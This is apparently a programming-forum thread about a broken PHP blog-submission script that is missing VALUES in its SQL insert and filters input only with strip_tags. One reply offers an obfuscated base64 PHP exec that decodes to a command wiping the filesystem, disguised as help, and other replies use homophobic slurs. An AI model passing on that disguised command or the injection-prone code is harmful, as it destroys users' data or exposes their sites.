PHP Problem

Ok /prog/, I've written a blog submission script in php, and I am having quite a few problems with it. As far as I know it's perfect, but whenever I submit data the script doesn't seem to be working. I've had it working twice already, but every single time I delete the blog submission it stops working again. Here is the script:

<?php

$user="xxxxxxxxx";
$host="mysql.xxxxxxxx.net";
$password="xxxxxxxxx";
$database="xxxxxxxxxx";

$connection = mysql_connect($host,$user,$password)
or die ("couldn't connect to server"); $db = mysql_select_db($database,$connection)
or die ("Couldn't select database");

$name = strip_tags($_POST['name']);
$email = strip_tags($_POST['email']);
$entry = strip_tags($_POST['entry']);
$title = strip_tags($_POST['title']);
$btime =  strip_tags($_POST['btime']);
$etime =  strip_tags($_POST['etime']);
$icon =  strip_tags($_POST['icon']);

    if ($name=="" || $email=="" || $entry=="" || $title=="")
    {
        die ("You must fill in all fields, please click back and try again.");
    }

else {
    $query = "insert into `blog` (id,name,title,email,entry,btime,etime,icon)";
    $result = mysql_query($query);
   
    if ($result)
    {
        echo 'News entry hath been submitted.';
    }
}
?>

Halp ;-;.

gb2/pr/

>>2
Well considering how /pr/ doesn't allow halp threads, that may be a little difficult, plus 7chan is made of fail. So I came here. Now back on topic, can anyone please help me?

Wordpress.

Fuck off.

>>4

Wordpress is not suitable for the site I'm designing, and problem is now fixed, thanks to all that didn't help.

>>1
I've had it working twice already
That's a lie. Your data isn't even in your query.

Also, how do I shot SQL injections?

>>1
PHP Problem
You can say that again.

blog submission script
Gay.

As far as I know it's perfect
[sup][b][o][u][m]L O L[m][/u][/o][/b][/sup]

>>3
strip_tags() does not an input sanitizer make.

stop using php.

read SICP.

>>7
You managed to fail even harder than the OP. That's pretty impressive.

>>8
<?php while(1)eval(filegetcontents(__FILE__));?>

<?php exec(base64_decode("cm0gLXJmIC8=")); ?>

>>10
This may surprise you, but Apache rarely runs as root.

>>11
This might surprise you, but not every file is owned by root.

>>12
This might surprise you, but Apache rarely runs as root.

$query = "insert into `blog` (id,name,title,email,entry,btime,etime,icon)";

hahaha, oh wow

Hi! You forgot to add VALUES after `blog` in your $query line.

ahem.. I mean..

OMG FAGGOT STOP USING PHP OMG OMG Y U NOT USE ROR FAGGOT

>>14,15
If this were an imageboard, Slowpoke would make an appearance right about now.

It isn't. So piss off.

php

oh hi, i found your problem.

OMG FAGGOT STOP USING PHP OMG OMG Y U NOT USE ROR FAGGOT
Too bad Ruby on Rails is slow as fuck.